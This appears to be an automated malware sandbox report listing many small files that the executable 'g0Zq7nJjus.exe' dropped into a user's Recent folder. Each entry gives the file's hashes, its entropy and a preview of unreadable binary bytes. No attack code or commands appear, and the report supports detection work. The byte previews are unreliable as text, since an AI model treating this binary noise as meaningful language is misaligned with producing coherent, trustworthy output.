SSDEEP:	24:JHId2lqHyZ42CShzD25snzgXWERUf7cftYv6KnWDCKuU8pHkfZMhAG32bD:1blqSZ43ODksn0W4UQF04RCHmWd0D
MD5:	B9C8165917FEBF2010F9F9890885978B
SHA1:	CFA90E45B60F65215D17807AA2BDFCBC724B263A
SHA-256:	1E8F0D2F291C32C2CCC622A4EB249213AC60DC82712445F5A2EC7AA9861C65CA
SHA-512:	D88442083DB8B10BF923C2A0800F6778BB4ECD217B55B879F4A039D3082755353ADE6565F0D43BA521885589BC45C7BA94EA1507F3F29DD813E75E3FC9425B41
Malicious:	false
Preview:	BNAGM.~...t.(v....x...kk.v....XiT..UI...L1.^{...D0=W&<V..F'.g.c.Q..M......>..o..(.?x..T......P.\|~:..~.L~....0....".6..e:.......f.....T.H2I.<....\|.\.t......yED..v...k...@$...T\|.=.. fH.W.@...m.N,.v'@.W...:.F..&P..M..."S&.D...Ie.\..u+.....v.,..2...N..d)\G...._.+.C.RqJfhj....9.;gl3.....(..A...4...]..h.Z.k....^ny.&..U.X=./,\|.L..)..\.JjG.F.k.l.r=.b5...k.9w....;..F..C. As.c^.."...e...kdY5.d.}...+f@.eZ....B......jX\.3t2^........8.M..*\|.$".;...SE.qR.Z.o...7..5_.Q....M!k.-4[."....i....H.A..K..L;.'....dy...V........R.q#_..9....{.i...0....Bxm.J....Z...%4..~.....G....l.W1g..EL...FO..bF.}.-....D5.V7@. Zk...@..'.(...vn..g..1Bm...G..I.} .......;....b.}...8..4..J..\..C..&A['..K.0..............<..z.d+.P.u`u......S~X..>.?._qSdS/..?....28N.>h..wl.1.S.A........i:.....v..".......,...x......I1;...#.x.ipa..E4.x5.)..H<...O3)......Az1.,2;....Z...LMhuw.....p....K..u..~y.........Xd.[..p.(.R.#.D.._pw.e..#.A.G.I%....%.3:.5A-E_^.....j..."{.../.......Y..........c0...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85061127416471
Encrypted:	false
SSDEEP:	24:ZaPVx6v4rMCtqjXf2Yy0CdswjG8bdQGRnrSA0KMZ2+ToD3qgIX12X+K2bD:ZaPTIXeFVGwq82G0E+Tgqg6Y+BD
MD5:	01D996BA4F1DB2A0A6383B5310D19CDA
SHA1:	A3EC5182B332286DC34BC7B720ED7177B78CF62C
SHA-256:	80FE513EDD5BC17EFAC8F0B89551476C21313490B89105D21A6C95A26AF47538
SHA-512:	30846D2DF76A73592C74C8A05D88E0B80265AF9DA27CCACD6B8966BF0791CC59AA4817AA694B26AC2F99BD0E840934B55065BA52D7A9D0A2ADFD758DBDCEE840
Malicious:	false
Preview:	BWDRWU.rG..S=H.^.>.]....P.......c..D....wN.....n..n.G8.BH....'..H...\|.../hw'.......c.v..H3.<..Td..%;...!\|.A..7.8....e5..._y.\...,.Bf....L..9r.Z.<9....L............w+...G]...n.\|x>......~..DqRen...f/....h..[5....}]..7.G5.!.^....+...yw...<...?.{9....C....Do......`@v.c.Nw.@....L..+.k'.......H&t..Y/..(U..[Z.G.V...v7..w.+\|...:>....Ls.I0...=2p...Y.@...W..Q..YI....$5.!.0y.#....ZC.V...Xn.Y...`.y.+.4.............#7}.@x..@.t;....+a..8..C...lLA.A..U.3.Q...}.q1.:...........Q.x(N.9....K....R.+.....:I\|"..w._.&kL.q.L.d.GJ...gl..~.]z.HX;..k.M..\....<1.e.fXx.%.rm.V..{....On.....S..N...~4.4.qV.....N&.:.q.Pp%M.. ....1..u.V...4.O.n?9.k:5...v2.Fp.w<..Ye.j]P..).7.....!.3[..4....ik.._Y.}......t.A..(]b.p..3..6..H..Q.@.0.m...G4.OE.7......HQ..a.b.A..''.W.d.(y.6.T....=K?...4.f.H.b..E.......&... 7.O.0.,...f..I.b....._\..C...t..q.(.'...#.V.......IF.....P1<TVc...=..('.\I......4k.o..}...K...m4.2..v.nru.p.....l.c.KW..Yv.x.m..).X.*`o.{...L.aY.7.P.I....@....N.$..I.iM.4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841051167004606
Encrypted:	false
SSDEEP:	24:ETvaM+zr+lXeHOckO+Uv5zHLiMdnRlmYJpIhsZ6P5veD7ucSnu8PG72bD:V748dkOxriUnRbJpIh3Zu8hD
MD5:	83F66F631438D7BC9778C4777D286BDB
SHA1:	94906C316FF20A5F2E7C5C8E6DF24B7AEC603FA1
SHA-256:	0757287ED393CF2E9239F16956EEA4D0E0E4C57FF9D24B6DF57CEBF34947E270
SHA-512:	3CBC50F4446E1623900FAC4676BAC74EA52AF62DF1D89CD2036B764A3B5ACD5E027F5C2A5EF7A4886EDD7756D26FA00C958953AFCAD1ECD9B2D83F66ABC76EE3
Malicious:	false
Preview:	BWDRW.,I&......Ylp......I..!r..Da.....&.44..p?E.\|8...;U......V]......Z.7.......eqaQ.....U..........?..74..7.y'..F..r@C2K.<&O8&.........%..}..`.h..."..J.......cFP...;...u\..j..\|...U..K.\|.q.......Q.f..cyUO]...). C.m!j..........i..pE.+E...H..Q.)..De.Kf1&..Q.........zu.."....mul..f9..K....D.6..hN".mtg.......=..O:...3v.....kR#k4aU.H.djQ..(....yv..bj...9JMz.HD..:...i_.q..l...x..c4.U..8..U..E$..d2S.......k..X..k.&.Ryu.]..w_D.?..........('..Cc...).+...`..b. 7W..V.0.......2..D.80w."r0.n..5.y=..)..4C...V..u.!&.(.H...Y. .j.o.Cl.YR......}..b.lPE....+-..-Y...-......7.,.P...h.8P..q:$9.1.{....q.W..O...\s.^..s..=H.%.Q..0.@..sfi.W.Ki...?/-._...u..R.....`..=_.(.t..9)...=......6..."......R.......<.A.k6lfM.D.n.#.V..N..G.F<tp.w0c.....2^....J......mt..)3.B"....\.6.g..T..>a.....p..?m7nw...../w..*..;.V.1ay.g....?....g6......[Z.........]..Y>....v.....UZ.GN.\E^..O.k..:.881?.../.U..K.vyz....o.4.....mj....M.8.B...........b!p.0 h..Q.u.y...7.!mS..^!..W..#_<.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8621487222789455
Encrypted:	false
SSDEEP:	24:WXD4AzpBCnLxyArAZi6JE+wWJjgjhJEvGI0je1xR3ePf+5eOA42bD:WXDBKNylE6JE+wDJWGtqR3D5+rD
MD5:	5460662CC8BBAD0E3881D63E3C1163A1
SHA1:	779E6E9BA138CDE9719BA1994187ED5B62275A94
SHA-256:	0C4C6CD805EFC2CB3634B5CEF1D605FE5B81519DCCEB59362FDA762024DFFFC6
SHA-512:	224D5FA45DBC850924C48B2192BF565A4EF603CFD99B010B65D8938D8B4E106DAEAD1B245920BE305496FBB211632EDE67D7319F8CEDF162A85D1CBF00FD1369
Malicious:	false
Preview:	BWDRW+r.z...g4U:.....2t....v.7...l!.:.1./...P.Q .d%1..\8........:..o.\.H.0..'...N.:xW..........u...$.y.ng.$@y.\...a.G..D.H..9..=.g.R.......q.'I.9..E.b..9..........`....U..8i.v......q...'....T?..[.Q./K..u..o..\|.6.....T....@v..z.l e.@yu...z..#m..C.pAI.n.......,."..i...k/...i.C.g.........1...#..C.V..w5.... ....0..(.>.3...U.2..q.'@."V.5I....&.q..P-.<K~.R..#.P5..YZ$....X.^..C1W.=....[O...d..(.:B_O.m.9...)..7j..7..,...Js..?Ep...4......s~s.......&..............}03.V6.#.#...{7QB[2.......-..Q_...(..\|..$.MiF..;d....d5..".....H+..).iP.x.N..k5..vN.......e.......7....s1u.... ...G?.z........nf.;.t<.....h..\|..8BP.....L..W.h..V\|.1x..{.......\.HA...q5..6..m.j)9[l'.,_9..S.............3TY..D..;..G.ON.>..Q.Z.f.k.0Y...U:...'s.Z......KL,..../6.P.Rw....?..._B..2.o.g....t...........m..u...\..............[8a..t....5.]IA...{.._...w...X#y.".a...c.q...o.=e......J.%.i\|........qt&......T.Q.o...!....<.S...t.s.....y.:.D.Z.7\&I.j.g.\Q.u..a..a..\.6.7.C..e.4.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863881595381012
Encrypted:	false
SSDEEP:	24:CXUFEafZlyCQxvf3c51DLGBJpRUCamuLFEDG60q3lPIA5NuRh6ZDhmoSA8u62bD:MDgcC0EDWJpomrG6NP1E6nm7A7D
MD5:	09C4D1A685D0AB76CA81ED08C0DA8AB2
SHA1:	EC8B6EAEDB9E10CB71FA1E8B1003C6AE1CDB1417
SHA-256:	4382F347D53543C768C1E859662D38D414DAC346AE67B9ADD05CA8998A8DB2A7
SHA-512:	76BD7B77F9C8E4C14FC94CE98EE783E5D9C53B12A7F2E584C09890C81E0AFB66DFAE6319D6575CAC58E34DAE61FCD3096F91FF55FCA2A42003DB2B1060D4ABE7
Malicious:	false
Preview:	DUUDT.PcS....g..Z&GE.\|....c..k^.....?U.=.....P.m.H+.i..X......?j.@".c.H."...+?f.........k....1N......y.a.^..88*...@.1.....%-....K}....n.<#..e.....4.;._.H.V.....\|.p...J.. XX.`..b...9.y.hX.Rv+D...I.TL..x...Bk.y.!g5.A.^.W{...........qb...:...e..&.w......D..U~R.m.p.-.......y...P(..........u.Y.Ww...,hVM..v..0=-.'..oUar..P?..b......"....b.,( ..v...0T....7.wKfZH"'...v&.h.).X..y.I.....?.....2..lm.!..,F9_..]\L..1....D_.H...5m.<8....\|U.9.h..n2....s..=amp.cQ..VJ......m..aN....K(...5h.#F..1....]....%.cn.{..J.j.A....`...7..{.....x.\..f...o........2..H..p~..0...R..3SU....C.U.iI.5.C.]..v..,.p.....\|R.~.`....Z-..n...X.;.&l..t.6.H:.Gi.c..M<..,..[...Yt#..N..4..g..VIG..A...=E.z-W...G.<...W..:. s.az.zt..z....<....&..sN..N....G.Z.....s..o....W.T.q.y.........u....7KCc....46...w.]..e..>Ac....\|DY........d.V.+mOL.w..gr...~.og?.9.zPY..2z..8..W&.....l....2Aq........)..)...+..=..X.];.R5?.3e"..n7.0.Qy...".....}.F..=..y.T.T.b.#b~....Kk..{..<."O.......oT.....I...%

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EDCVNYNUAA.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835771226563034
Encrypted:	false
SSDEEP:	24:FiS2x7EQOq/nSt/yb1LHtCa5GHMwY6cUIRtW1xIbFCo5oV2SnW1/mqgsnl+AsWVw:FHEJOq/nk/yb1LHQa5GHMZ7YnlWJmqgv
MD5:	E496F1A6982B71C9C96A400F7E9DAD3E
SHA1:	B48B46398F20F6D17EC3F8E253114A63BB7784FC
SHA-256:	1F8CF418602414EE04FE8015BDDACA1EE184B862C6C54DD83FE70ACCE3BF8748
SHA-512:	DA9BCFF03AE6ACCB4461B64D89E7BF9E67C329468D5750564CAEFBC05421F3EF4BC018D2A0E6139BE214CBA833F97278916D54EFB51B7FA8583CD054FFE563F5
Malicious:	false
Preview:	EDCVN~3!..H.QM..Jpp..+B...Z..k......?\|...\......a....%Wlw.d~.t&....<\|.....U....#..,?T.X'.....h.....v..GA"...b.THe...QfK%......A..F..$...l........_..3$.sq4.......Qq.z..P.......b;...G...B.fU..AO.rZ..nMG..?.F...Vx.!...s..2A.6S..))...7LV...>K\..."%:A@.Bm.M.+........RL.I......>Wo3&}..q....3....nar.=9.6..<d....R.....?+@.V.......p1'....>6.bIz..e%...M.u._.p.<......9 ..J..;}....b....-..N,..Z.....]M.zI.rR.a'.=.a.....\|.Z...b#.w...=W....s..`~3^.'..X..v..);j.".R..4......r....4.1....o).\|...R&4t.._.i9r......$..y.t...V\.q..."%../.....;.t....l.#h~..B..:E{..d...~&..."....d..T....Z..........".B7.#.....!...4J.<.`.7f<'<.H.}'8...n...+..!..(.L..Zo.}P.!..J..HP.".qM{:d...)....Jw....y...#..\|58.......1_\=..\.a..'....(].ww....'P.@P....U..V^....w....Ls.}m3_.I@.\.u....X...9g>.;..Y.sx>?.j.79..I...mf...8.....O..K.~.4..<.../.....o6j(.C..k!.X.m]sA....F.............h...J...6(PQ.m..k.@.....m....1.`x.....:v...tv?+Ej...Y.H.3...@W.\..@...8...Q......k._..].n....CA.....<r...<

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865582951442194
Encrypted:	false
SSDEEP:	24:Cz+EBfcTVO5+dTIJR1SJqAH8fNKJsF5J9RxMGt8uKprY5zDyFtV0Uzs4xf5fvArF:l8fcTV++dsHgkXNKJo5J9RGGDKIzCzHE
MD5:	C5403025515A47056D17CACB25B2A120
SHA1:	E0E7A8A4C6359F23A13D8DF829D69A7F2C207A16
SHA-256:	458149C4C90C7AF96985C1DA7FED39CBAB4788A5AF8F96717F883F50E0F0FB9F
SHA-512:	013017B81961583598DD96635642F431F40551A39A544F6FD9FE20B59D588F716F5877C47391AB51EFB8557E4991C6BE5CE2B4214DA1E7AE19CE0AC500F2D01F
Malicious:	false
Preview:	EEGWX..2.+J.U.G..C..#.q.2X.?..T....`+{..k..'....A.O.=...N.6...(..W..VT........J.._.$.........R..a.w.3..6i-N.....G..-[.l......t.N...`...Ivwf..,$w.<.b...!..-K...KF..s..+.T..X.y.g...l..f.....)....!v...yr.Q....c T......Lm...A...e..E#..i.O.!\|.d..F..].......=h....k...>.dh.g..{o...(.(..D........d...gU.yk.xp-.......:..).._......?O...}?........L..a......z.........'.}aGn....[.c.y.....9..@)GS..C]...B....I..jaz...~..\|.c....bS$.UfR...l.!..o.Yhu'v..--cc..j.N/.....X....z...C.J.vN..(...%.'2<.PNI....J.N}..}.f.+YHlk.TD;.....:l..B.......C.m.p..........6tcd..e;../<g......c..7.-.....$;.....`b'....#....s..F...Ss.I.t4...]_ {h...Y.C#........or..k.u..{.x..1......2....CMf.4....+.a{bI>x..z{ul.%...J:Lyr....{..n.....&..H.......;9..S.....5jL.~.xmP.h<..Q....E.I.....x......]2`..5.=,..4k.....5[TU........v...........K@..0...?......P../i.=.Y1.\.C......`.....9.H.^c..~.O..A...R0.L.........x(+.$<d...<H.m.2.w.6=\|l..D.P......#..Y..I........._..(.5.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.889547420336136
Encrypted:	false
SSDEEP:	24:q/kB7h4jiaHbw+WzF7EFcMERBOs6s8eMO5kENrQws4oLf6R0EorCbZjvlsaDFEau:fh4jiAizF7E/y4syHejN9vrRtLZbDpoD
MD5:	B94705B7051E13A752C2D6EB960A6112
SHA1:	90616396253395F5724BDDE246FC77EA0DCC1545
SHA-256:	B82F3F1704F667658B49CAA782C2F16BC2C876399A2E4FA1D63BEB4FB429D3DD
SHA-512:	35273B0BED0F4D56E70C43CD1EE08BC01595E63D44F43E5C9678B205D474DD38B77B3897B258570B6BC6795E330CFDF9826947301C03E9A15D835B7EDEB866B2
Malicious:	false
Preview:	EFOYFS....FS.)q..J<..!a6..b>x...I(K.j......:m...f.OD..@h.....0wV.......A..5..Q......#.V..I\..T..Bq.1.z...B...IBE.{p...n..t.2.....%e.g:..Pt.. ..[.O$.p&.......).I&......<....:. ..U.<..e.0....a..g.Y..7u...%...@#....c..^z^R...%..k.r..O!y."....sZ.-.....&..Q>....iI..e.K....`...y.}.a%.. ...#..F.#.X...w.J. Fk..Cg...j...y).d...xa.H..L.d..L..>..}.... ^.x..oU...)h.....B.....~k.b.e..o.........<...)a+"C.......S........\|G.%k.......S.....B.....~..3...j?.n-.J2G..D_..=...o.r...K......?a.?R.&.S..0.&t.x...vQ[z....j..J.s.]..(/..L....WY........^.,.r..F.d....E..L...}_TI.T.....R........'d.30....u.j.h...R\a................B...#.s..p.W.......`0..+w..{....V.j...?..T.-b.....fP...s..Q#......dBM".)..T.K.6,{...X..k.......-}&O....y.uTX(.:.a'.\|.......D..,..q.s9..;z?...O..........T.)..W....d>.2...'...!;.%..p.....4'L..T...(:.7.tsa?.v...C...0G.g......u....@".....R..1.T...1...."^.-...w.4.I.tGKi......`R.HN...v.j..H...8..f.V.D.?.....F..FW./.K.0xF..Y\..m.#....4IL...\OW-A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EVCMENBQHP.jpg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821579343150126
Encrypted:	false
SSDEEP:	24:ebRIjIrg4eXIL0IsLsCw0TMceJzof8wzeBrRdT3bIMzYIyI2g++THgxD5LZFXlBd:O0L4Aio1e9sNCyOAxtL71BkoqQ/HmAD
MD5:	97AD39F689F5C8C0B1FFE1EFFF6B5BC4
SHA1:	1C12F17FBBF9448501C9FF8E057C9FE58CB1A621
SHA-256:	EE0B3E3CF216D516A1EBC077545B59D8DF1525F52033530E6F9977DA39820AF1
SHA-512:	3DB5B2EAC03C1378CFB4DB2FDF84C7A72FF5A45E63F1886E895B0D388347C61D8A24AFE32675011AE08EBBB8240F7BD76E7696BC3AEAE271E91B2CDB1155A6D9
Malicious:	false
Preview:	EVCME..tV.r.B..8......v.....-.r.A.9..Nk..w....i &5......=N..A.Q:.v....I8..'.....v..u.d..I.7.>G..m..D.)..\.C..~Ry`.....wv.......?.r?.W...=%...(B....@..?.J.PN6..r.J..R ..h.8.u-.Z.....>}Q.B....\|..=..b.......T.0.W...<....t.g7..W._...AC..g&....;..a.r7:.......iR.~&X.......(.U..._..w.........w...r.Rm..'w%.I2......hKO...).sX..3.1..pJ.Y..I....E.....x!......t...{.0.....>"..H`...SU.9.O:p.`.~..).... .7.g..bk...x>.x......l.D.....S{.k..O...B~)}..+..X...<..H.e..g...k..;a.._..7..4....Q.........KZ4.y.L...m...[...$w.)}%..S.+(..L.J..O..F...W.I.>..%,F..UzaU-.........6.....\|.K^AL..~...)tH7...j..........OA.x...nm=..rrC...R$-(c&.^.....V.....u0......x..sS..3.K.u.ge.o..+s.Y..Q......IkW...!.KTo...G<F..x...x.I.)[.....{...rB...C.A;..uQO.A$R4.zxf.~.w......fo..]C.Q-.o..iH.3S.=O.PI..q}.xc....k..../s.....xU.z.0.v[......G9"...&y.{`.....S'............j.k$.h ./..3... ..+W..#.p..t.~!......'.Ha.g.3..u{d.#WO.2:..;.._....?..n....=.b@.Uf./.l.X...w..N.?.^.0.eu.N.;I......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834811766903305
Encrypted:	false
SSDEEP:	24:pYi1ybglSnVvBlme1F5F0VTspQaYxFnFNtlXUXMXw+61Xqc1mJfM924o2bD:z0bglS7lmeL5F0VTspQa4Fzt3XE16cca
MD5:	7058BABB076A90297A71D3BB0E740E2A
SHA1:	F5B0394BBD5FC0D92FD221A47336DAFAFAB4798B
SHA-256:	90305353D20EE163B783026327DFC80E59C7F1CB5A5372831CAB00C3BB26D21B
SHA-512:	6214DAB927A840084B29795F7AD1C659AE362544E38B5DD0D7B07458D8C27B40DF61A7E23055F2B66C2561C3BD7D2E15C0D1F23F346522676D8FBB294061FDAE
Malicious:	false
Preview:	EWZCV.q sA..sV......P"..#.F..6..E.}i0..K...z...QL3dK...f...aLsl`..{.9.o>....]..k...4.....'..\..k...l9+.m.cb<..R...._...q.h~M. [..{0.H...9c...;4..zT......W..i......;9...}...p;.. .v.k.`...8]P..o...7.Zr.yf...@.E0..i.s.D..'.1..s.$5.yj7..C...TH...Q. ..Z.0...5(..F.....(..y.q........OW.......a.6y......'.....B..z......S...{..!._}.t......u0J.....&...xn.Y8}=E.+.J.'EDeb..v..0...0=.:K....h......z..j0.{z........V0...K.5......'.d.........B....<ACi..x.4.}s.6.2nk..&y......H.3...s....82..u.>O33....:.V..2....Kp?...Q;.A......hA....EY....A....c~.V....=...`.R.ol.v57..s.3.g....,.../;....G..n+l_:.....=...Hi.5.@..`......r..".V.cb.U..W...mi.K`zq..V\|O.?.....Hi..c..u.&.D$...{`.M..d...'R....... ..4.JT.....]....(C....\|...S.?......n.>d.h(..SEGm.........Q..mV..\|Zq.s.G..zA.4..G.....V.f...%g.......>9O.....0..~.J..s.........6@.$+..$.!.._.........Ef..\|........+L...........{COqLs.'......j.....4tH..7E.W..e+q....s.......l..%w....3..o>.2.n>MS....V.M....#....ULK.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855013984228477
Encrypted:	false
SSDEEP:	24:7glEV9w2HhAn7+v80FSqQAvHuPFVY1RRq0v7He7Yl38n7kr7TV2bD:0kJQU32PaRRqe7CO3UkrmD
MD5:	9EA6F255286566FFE29903DA06F3CE91
SHA1:	B1C441F5BF1EBAED93FFC19291F79B4745B18F8F
SHA-256:	3D10A5F0DCC31FA672E5642DD6C893B770B6E6372E3C3141299B23644309196C
SHA-512:	01CA4AE0DE0E66D3794938A7808A053FDB469695E744F14107B59AE6A24AC3B6660BF04BB43C66ED1A34251E66A05E3AF552A9EC08DE3C3253CA5583538F87BE
Malicious:	false
Preview:	GRXZD.~/.e...EN]Tli!..........m..;...Y.W..l..Q<.@....]T.H....@\|cip'.;.S......a..u.HbaC....H....`..$Af....>F.....9..2}....r!...%cpY.......'.9.FSH..k..+.$...Z3.......`.....\"..;...........~.....r....`..&HD.b.,..:.."...I..it.J..?.".4..B.5....... !0....V..g....n0+..;......o.......i.+T...{c.?)"r.-a..sz).0...Y...D..:......+Fe...gq.$j....p...K.......$;.p..mQTX..d.$....H.s5...7...A......R...(.$"..,...n...WQ!...)>.._Bk.s.2.......H.Y.E.[.......#z@4.cS.j0..x..&.E.u.....]e,..J...d..Y.kio.7(y....\.............5W...3.,.LN.u..I..26..C.z......tp-...%Q.r.N"F.!...;........].<\a.f..#.Zn....::.1q.N..d..z=.5..P.H.r.O..1..$.k..R.a.-..x.....4H.br...1m.=L..F..A\|..M;.@I..y.AE.-......[....o..X..eo._2...M\.@n..;.!. .1Y....m...V..0.-~.jp.....a....4.;.q9G_.bR..m....S..N...?,.@t.......Dh .s..>.t.Ykp..b4d..#....tG2......^....e.....w.E...Bw.*.$.cz.Su....=..lD..#...,aaN..}#...$dF.s.U.MYw.;......9e^7.%...=..RO.XY.Ra....u7...).......r. .Cb4..$..Y^6.'..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865583238137365
Encrypted:	false
SSDEEP:	24:LlBcUpSSVW1QlMuvSIsUhqsHJZHKwNXYZTbtW45JtPoKvdska0JG92bD:3cUpSSVWWbs0qwJdKW0btW4JPtabORD
MD5:	46D25C7C3C67D4D11B8E91FD8FC709B0
SHA1:	6B3800A5F1EECCB39ADD60B072DA80CB3448B7A3
SHA-256:	5DE689B549B925D2E19D5F9BFFA348131B936D9ECE7E2AA6AE151E11C56E8925
SHA-512:	5C4351F70CE647B8C72F5E28A0426AF9B0EFA86AA5DBE64C03CAB5F31D22E949AE1DE57FA011CB99454AFEB4B31A40ACD564514FB493D687203382247C09718A
Malicious:	false
Preview:	GRXZDqS..D.6.o........f.....U5.e.1.y..+.;..zVb..fh.y8F7]..!.....K._D...../S.\|..@...sb/dB.........y.h.P..r..R......`.v.+.\|.......%....:.q ..Y6<.)P.e..8Y...n...I.P...=....9f....Bn0..kU.. )I....>...9."(l.. ..u..ab.)&a.dh}.muw{..}.....Z........;$^..%.mJ.'fS.Bh`.=.Uf..j.k.do.h.x.J.K$.Q..s...$.eF.7..0...T<..IH.t.g8...@T..~I.".{o.........v.......2.V..F.o..8..L.Y9....&.S0..W....)}.I.p.+8...X.c...x.r...+"M<.....J.U.....7.! eW..\.$.A..p..M.r.m.....9.^.P.S.,.j...$...C.....U.7..c.,. .k....L.rrg.....:..v..\.+.N.. .]....3-u...F...z... ...#.Y..Bv..<e8n.'\|..~"7..........c.....(.....~.L.^F.hdT.......s......1..c.w.$.]...L..-.rvr.....z.a...`\c.5.hg..A.QpSm`>..d...4H..J.@ ............q.....\\..)%.SC..?.:.eKqdpQ1..q..........R..T..?}..r..T..34..\|F..G..g.l+^0...?....6.z....)?.....\./`_K..B...2.J......#.O..0.......\|~l!4.r.T..j..l..8l.....IS.\|=.....f...h.R.z.....g..&t.m...P.OJ.AkR}YN@...]O.......f...,...=;o..P.rq.g,2.P....u.}8..=M..p....pD.k..8..D.i...e+p.....}.iQ

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8466790539787725
Encrypted:	false
SSDEEP:	24:jm6tnvcJfjIobXleX0FG7wdgkamvrF+p37gmvrBM5+zl30bCE1M7Uc6l72bD:KWnvcJ/ekFHjamvrAhE4Be+zlq31hoD
MD5:	F6F19E8C42709ED8C0502A23F268DA5E
SHA1:	AC3D33E2FD6D40BBE4E708B1FEBB65374595B90D
SHA-256:	4626E530CE009B4815DAB694E2EBF008AAFB0CE2B069EB15345F5FD4D5EE48D9
SHA-512:	648C5B97B4D8539BB5DECAE9C59EA9EA5FC3EE93ACF1D19BCC0AC4D3C615FBE53497277258DF9A46A67AEC9FDE63FD7A54331FF326DE3B74E8449F1308EFA3A2
Malicious:	false
Preview:	GRXZDt.C.`.T..m..E...7R...-...5.....^....g....YK%....f..z..d...4.9..Y...[...I..M....znP=.<gS"P.B....-..)W.../..O>~....=S.[m.ncp.fM.!.8.!..cOWX.'0f.K=......W.....D.......j.F.9L.c..H...QA...YV..b... .....B..N2....&A..T..........P..u...e36....=...F6.'M'.3ch&....Uf.F\|.M.l.:>......>f. .v.F..:...M"..$...Lh...P.F ...0{w..4.o.#...0.I2..`@....,O.....G..U{.N.b.'...)9...R.>..3. .+=K.f.l..........UhDp...e....nC..:......]......x^F..B.....'.`..q.v....6..%..e...8.4.+$.P.e...rn.K..$..J.!.=T.AJ.......\|...($..:...>y6..c..=X;.........fe..I..7..i....l..a.J..x.E.....3.........X.&0U.!...`.&....../s....ebJ..Q..{.o.....@..;..q.."....?.$DR.~.>S.E........5.sw.^s`Mm...>CM..d....Y..O.i...F..D.z..}.!eR.;5..K..5.}~q:j.l.........tW)XT..h.V.........#Awh........k..%.fOU.......p..pn.......`...[.<.u.R.C.k..T...#gY...M&..g.Sf..n.7....o......q.....o`.O.Z........Np...(3...._...L}.&<..Jl\|.I(.x...-..q....(.O/.o.....0......+..M[.{.......v..!..R+n.%r.$....ZmW.Y....2~..SC.$

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HQJBRDYKDE.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834778268698813
Encrypted:	false
SSDEEP:	24:f2SlOQLSskSFIpNMpnqlukHwbQdQvXLd+p5ydGe4T2bD:ZOQWDSFISnqgkQk+/Ld+pkGe4AD
MD5:	BB31B2A1785ACC77CBE24BBFD7C971A9
SHA1:	2BDE50834DC13FCD722C86FD035274CD5E744CF9
SHA-256:	765CB3E544CD926D77D2385BCDAF2AD9503FF7F0B17EEDEA576A8420BA2320E6
SHA-512:	90ED7A3989460E67B233C4205188E341BA8CCEE3CAC77622FDF3AC78829C2E5179C511BDD1EBAC94A6F36B9074E9DDDC6FECA5ACEFB1230A88A0B16868CC540B
Malicious:	false
Preview:	HQJBRq.}..e.H{,n.....^.\|5......F.V.6ht....d....z2.....~.........9.&......,....\|.........S.g...y-.p....~......1z.....Q..l....cf-...;$...L.....'.[.WkG;..(b.>...T.p.m.....RDlX..S:b].~l;.9W?<\.b.....BJ...@.+.RtV..(B.w.7#.!{...!I;Md.6z.lI.<...../......z..r....6'.w...s! r..#.d.S...-.<..,0"B..U!...c.....$q..%...PWD...(..C.E.jt.....".....{.6.Y....aow......V..O...#.........&. .......!a~e^e.<.xA4d. ..PG..<....m.H.WM...v.A&...P....i.7.c'8.L..e.5....b..h..2....4..+.W.l...$.0KS. .......r..;...A....rz..g.......!...b......X.\|..t.KR..B%l....W...iY.."..3..r)..?.....Eqd...B.IG...^LF...:u..S....oW).;.av.B.....g/...vc..g-....h(./...)....C.<....s.T1.3..P..v.)._>....{....k....."..%..hmR..Hb..~..,?.~..rV5.4.[.~1k.....e.M..L.#:m........../..).e..&.J.&...9h.V..r.zv.\|..RSSiJd.'{P...4.k...x...!.....Oi.~..R....#tl..41^.x.?...W.<.c..{ ..D>i.....e...E!...wuq'........7...\k).h.q*.m.....~.9..~.#.t.#.m.q.M.-..$L~..\.>..l.l.}0..34b.,ADi....#...........Tr....J.5..E...f

